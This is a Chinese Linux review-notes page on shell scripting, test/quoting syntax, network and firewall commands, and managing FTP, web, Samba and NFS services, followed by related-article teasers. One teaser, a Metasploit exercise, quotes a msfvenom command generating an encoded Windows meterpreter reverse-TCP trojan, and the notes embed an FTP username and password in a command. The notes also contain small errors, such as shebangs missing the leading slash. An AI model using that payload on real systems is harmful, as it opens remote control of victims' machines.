Linux基础知识4

news2024/11/24 23:33:42

Linux基础知识 适合有Linux基础的人群进行复习。 禁止转载!

shell编程

shell第一行内容格式?

#!bin/sh,#!bin/bash,#!/bin/csh,#!/bin/tcsh或#!/bin/ksh等

执行shell脚本的三种方式

      (1)为shell脚本直接加上可执行权限再执行,如:

        chmod 755 ljh.sh       //为shell脚本直接加上可执行权限

        ./ljh.sh                         //执行shell脚本ljh.sh

      (2)通过sh(或bash等)命令执行shell脚本,如:

        sh ./ljh.sh      或   bash ./ljh.sh

      (3)通过source命令(或点.命令)执行shell脚本,如:

      source ./ljh.sh  或 . ./ljh.sh  (两点之间有个空格且./可省略)

          注意:source命令也称为“点命令”,可以用点符号(“.”)代替。

shell的系统变量:$0,、$?、 $#、 $n、 $*等表示的含义

分支结构——test命令;

(1)整数:-lt(小于)、-le(小于或者等于)、-gt(大于)、-ge(大于或者等于)

eg1.判断3是否小于4

              test 3 -lt 4

              echo $?          //返回上次判断的结果,为0

eg2.判断3是否大于4

              test 3 -gt 4   或者   [ 3 -gt 4 ]

              echo $?          //返回上次判断的结果,为1

(2)字符串:=(等于) 和 !=(不等于)

       eg1.判断abc是否等于 abc

              x =”abc”

test $x = “ abc ”

              echo $?

(3)文件:-f file ;      -d file;          -c file;

-z  str:  如果字符串str的长度为0,则测试条件为真

-n  str;

使用方括号表示测试条件的规则是:

方括号两边必须有空格

eg1. 判断$SUM是不是在10和20之间

       [ “$SUM” -gt 10 -a “$SUM” -lt 20 ]

set 命令:

设置参数值;

shell中单引号、双引号、倒引号

       单引号:将单引号里面的内容一模一样的输出。

       双引号:将双引号里面的内容输出,但对$等特殊字符特殊处理。

       倒引号:用命令结果代替命令本身,然后用来操作。

              eg.

#! /bin/bash

describe="this is a demo"

#单引号输出,特殊字符不处理

echo 'I want to say $describe,\t  current path: `pwd`'

#双引号输出,特殊字符处理

echo "I want to say $describe,\t  current path: `pwd`"

              执行结果:

分支结构——if语句、 for语句

利用shift访问参数变量

echo命令---提示用户 : echo -ne

       参数n代表输出完毕不换行,e代表支持转义字符

read命令---接受用户输入

       eg. 将用户的输入信息的前8个字符读入给str

              read -n 8 –p  “Please input some words:” str

# 显示  Please input some words: happy birthday

echo $str

# 显示str  happy bi

Linux网络基本配置与网络安全

网络配置命令:

ifconfig、route命令设置网卡IP地址和网关

关闭/激活网卡eth0命令:

ifconfig  eth0  down/up

主机访问控制文件hosts.deny和hosts.allow中添加相关规则

Linux系统下防火墙ufw的关闭、使能与端口开放/关闭命令

ufw enable

ufw disable

ufw allow或deny 端口号

重新启动某个服务的命令(例如ftp服务器):

              service  vsftpd  restart

          或   /etc/init.d/vsftpd restart

           或    systemctl  restart vsftpd

Web、Ftp、Samba与NFS服务器配置

软件包在线安装命令:

apt-get install apache2 或 vsftpd或nfs

启动、停止、重启ftp服务、Web服务(apache2)的命令?

       ftp服务:  vsftpd                                   

/etc/init.d/vsftpd start 或 service apache2 start 或 systemctl start apache2

/etc/init.d/apache2 stop 或 service apache2 stop 或 systemctl stop apache2

/etc/init.d/apache2 restart 或 service apache2 restart 或 systemctl restart apache2

       Web服务(apache2)服务:  vsftpd

/etc/init.d/apache2 start 或 service apache2 start 或 systemctl start apache2

/etc/init.d/apache2 stop 或 service apache2 stop 或 systemctl stop apache2

/etc/init.d/apache2 restart 或 service apache2 restart 或 systemctl restart apache2

OpenSSH、Samba和NFS服务器含义、作用和区别

      

      

安全性地实现远程连接的服务器:

Openssh

特定用户名+密码格式,以命令方式访问ftp服务器:

      ftp   ljh:123456@10.64.131.110

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/639125.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【STL】 string类使用一站式攻略

目录 一,STL 1. 简介 2. STL的版本 3. STL 六大组件 4. 学习STL, 三境界 5. 学会查看C文档 二, string类 1. 相对于C语言,我们为什么还需要学习C的string? 2. 头文件 3. 常见构造函数 4. operator …

十三、SpringCloud

一、基本概念 Spring Cloud是一系列框架的有序集合。它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现注册、配置中心、消息总线、负载均衡、断路器、数据监控等,都可以用Spring Boot的开发风格做到一键启动和部署。 Spr…

HQChart实战教程62-自定义K线标题栏

HQChart实战教程62-自定义K线标题栏 K线标题栏步骤1. 替换k线标题格式化输出函数2. 格式化输出函数说明HQChart插件源码地址完整的demo源码K线标题栏 K线标题栏显示的是当前十字光标所在位置的K线信息,显示在K线窗口顶部。一般会显示品种的名称,周期,开,高,低,收,成交量…

msf渗透练习-生成木马控制window系统

说明: 本章内容,仅供学习,不要用于非法用途(做个好白帽) (一)生成木马 命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.23.46 LPORT4444 -e x86/shikata_ga_nai -…

AB32VG:SDK_AB53XX_V061(3)IO口复用功能的补充资料

文章目录 1.IO口功能复用表格2.功能映射寄存器 FUNCTION03.功能映射寄存器 FUNCTION14.功能映射寄存器 FUNCTION2 AB5301A的官方数据手册很不完善,没有开放出来。我通过阅读源码补充了一些关于IO口功能复用寄存器的资料。 官方寄存器文档:《 AB32VG1_Re…

Shapefile资源下载网址(整理自用)

1、按国家下载(路网、自然特征、POI、江河海...) 不同国家的数据资源可能不一样。 Download Free International World Country ArcGIS Arc GIS Shapefiles 2、按国家下载(行政划分) 自动包含国家、省、城市等多级的shapefile …

Bitmap和Drawable的区别

日记 其实感觉最近事情挺多的,所有最近很多博客都是中午或者晚上休息的时候写的,甚至是项目编译的时候编写的。说真的,我最近感觉,对于那种大量的时间,我反而不能很好的运用,反而对于碎片时间,…

数据结构之堆的详解

数据结构之堆 一.堆的概念1.1 堆的基本概念1.2 堆的存储方式 二.堆的操作和实现基本框架建堆插入删除 三.堆的应用优先队列top-k问题:最小的K个数或者最大k个数堆排序 一.堆的概念 1.1 堆的基本概念 堆是一种特殊的完全二叉树 堆分为小根堆和大根堆,大根堆的根节…

Notes/Domino 14 Drop1

大家好,才是真的好。 2023年5月31号,Notes/Domino 14 Drop1如约而至。在晚上照理检查了一下Notes相关博客时,就发现该版本现在可以下载。一诺千金,信若尾生,这是我对14版本的第一个评价。 很多人关心Notes/Domino 14…

【redis-初级】redis安装

文章目录 1.非关系型数据库(NoSQL)2.在Linux上安装redis2.1 安装前准备2.2 安装2.3 启动2.4 关闭 3. redis客户端3.1 命令客户端3.2redis远程客户端3.3 redis编程客户端 1.非关系型数据库(NoSQL) 2.在Linux上安装redis 2.1 安装前…

提升网络安全的关键利器:EventLog Analyzer

导语: 随着网络攻击和数据泄露事件的不断增加,企业对于网络安全的关注度也日益提高。在这样的背景下,安全信息与事件管理系统(SIEM)成为了提升网络安全的关键利器之一。本文将重点介绍一款强大的SIEM工具——EventLog…

Spark大数据处理学习笔记1.4 掌握Scala运算符

文章目录 一、学习目标二、运算符等价于方法(一)运算符即方法(二)方法即运算符1、单参方法2、多参方法3、无参方法 三、Scala运算符(一)运算符分类表(二)Scala与Java运算符比较 四、…

mac docker 安装 ES

一. docker 安装 ES 1. 下载镜像 docker pull elastcisearch:8.7.1 2. 启动镜像 docker run -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.typesingle-node" -e ES_JAVA_OPTS"-Xms256m -Xmx256m" elasticsearch:8.7.1 参数说明…

AntDB 存储技术——Hash分片技术

单台机器很难处理海量的数据或者很高的并发查询,需要把数据拆分到多个节点上,在多个节点上进行存储和处理,这种技术叫作数据分区,也称为数据分片。数据分片的主要目的是提高可扩展性,使数据分散到多个节点上&#xff0…

【Java】冒泡排序

文章目录 一、什么是冒泡排序定义冒泡思想代码实现 二、冒泡排序的优化第一次优化第二次优化 三、鸡尾酒排序 一、什么是冒泡排序 定义 冒泡排序(bubble sort)是最基础的排序算法,它是一种基础的交换排序。它的原理就像汽水一样,汽水中常常有许多小气泡…

Vue第八篇Vue3

一 Vue3的变化 1.性能的提升 打包大小减少41% 初次渲染快55%, 更新渲染快133% 内存减少54% 2.源码的升级 使用Proxy代替defineProperty实现响应式 重写虚拟DOM的实现和Tree-Shaking 3.拥抱TypeScript Vue3可以更好的支持TypeScript 4.新的特性 Composition API&#…

Leetcode---349周赛

题目列表 2733. 既不是最小值也不是最大值 2734. 执行子串操作后的字典序最小字符串 2735. 收集巧克力 2736. 最大和查询(这题难度较大,等以后有时间再和大家分享) 一、2733、既不是最小值也不是最大值 关键是看到题目中说数组中的元素不…

一文快速了解软件技术基础

前言 数据结构和算法是计算机科学的基石,它们为我们提供了处理和组织数据的方法和工具。通过学习数据结构,您将能够理解如何存储和操作不同类型的数据,如何优化内存使用和访问效率,以及如何设计高效的算法来解决各种计算问题。掌…

iOS -- isa指针

isa指针:isa指针是一个指向对象所属类或元类的指针。它决定了对象可以调用的方法和属性。isa指针在对象的结构中存在,并且在运行时会被自动设置。isa 指针,表示这个对象是一个什么类。而 Class 类型, 也就是 struct objc_class * …

XML 的命名空间及其在OPCUA中的应用

为了防止不同XML 使用的名称冲突,XML 规范中规定的命名空间,平时编写单一命名空间的XML 文档,没有过多地注意XML 命名空间的细节。当开发OPCUA 信息模型时,被命名空间搞得云里雾里。为此,做了一个笔记。 URI(Uniform R…